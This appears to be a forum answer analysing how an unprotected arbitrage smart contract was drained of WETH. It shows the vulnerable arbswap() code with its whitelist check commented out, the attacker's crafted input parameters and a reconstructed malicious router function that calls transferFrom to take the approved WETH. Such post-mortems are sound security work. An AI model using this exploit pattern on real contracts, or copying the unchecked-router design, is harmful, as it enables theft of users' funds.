function arbswap(IAtlas.SwapData calldata swapdata) external returns (uint) { //require (whitelist[msg.sender] == true, "uauth"); require (swapdata.tokensIn[0] == swapdata.tokensOut[swapdata.tokensOut.length-1], "Incomplete Path"); uint amtOut = multiswapInternal(swapdata); require (amtOut > swapdata.amt, "Failed: NP"); return amtOut; }
Scammers smart contract calls arbswap()
function with his own parameters
which looks like this .
{routerType: 1,routers: [Scammers_Own_Calling_Smart_contract], tokensIn: [WETH_Address]tokensOut: [WETH_Address] tAmount: 115792089237316195423570985008687907853269984665640564039457584007913129639934}
require (swapdata.tokensIn[0] == swapdata.tokensOut[swapdata.tokensOut.length-1], "Incomplete Path");
passes as swapdata.tokensIn[0]
and swapdata.tokensOut[swapdata.tokensOut.length-1]
both equate to WETH_Address
. (Note that the whiteList
check is commented out)
Your multiswapInternal()
in turn calls uniV2Swap()
In uniV2Swap()
, first your contract gives permission for the scam contract to spend your contracts WETH
in the line below.
IERC20(WETH_Address).safeApprove(Scammers_Own_Calling_Smart_contract, 115792089237316195423570985008687907853269984665640564039457584007913129639934);
At last,
uint[] memory amtsOut = IUniswapV2(Scammers_Own_Calling_Smart_contract).swapExactTokensForTokens(amt, 1, path, address(this), deadline);
The line above in uniV2Swap()
calls scammers own contract address instead of uniswaps . The scammers contract must have a line like this -
function swapExactTokensForTokens( uint256 amt, uint256 someVar, address[2] memory _somePath, address _someAddress, uint256 _someDeadline ) public { IWETH(WETH_Address).transferFrom( 0x8CB5722179DE0860b0BcE7564b28523bba902D5c, //Your contract address 0x0a64eABc8f5049a0BDE336F79ec9087B98658B9C, // Scammers own address 210427141639847852 // The amount to transfer ); }
The scammer called a transferFrom()
on WETH
token from his scam contract . Since the tokens were approved it went through and he collected the WETH
at address 0x0a64eABc8f5049a0BDE336F79ec9087B98658B9C
In short -
- Since there were no effective input checks to
arbswap()
, the scammer crafted his input parameters. The scammerapproved
your contractsWETH
to be spent by his contract - Because of no input checks the scammer's contract was called instead of uniswaps. Since the
WETH
was alreadyapproved
, the scammer simply transferred theWETH
to his account.
Note: routerType:2
which triggers equalizerSwap()
also could have been used. The logic of the attack remains exactly the same with equalizerSwap()
. I have not checked for routerType > 2
.
EDIT : The OP added more to the contract and also says he has not added addresses to whitelist other than his and a contract only consisting of views
.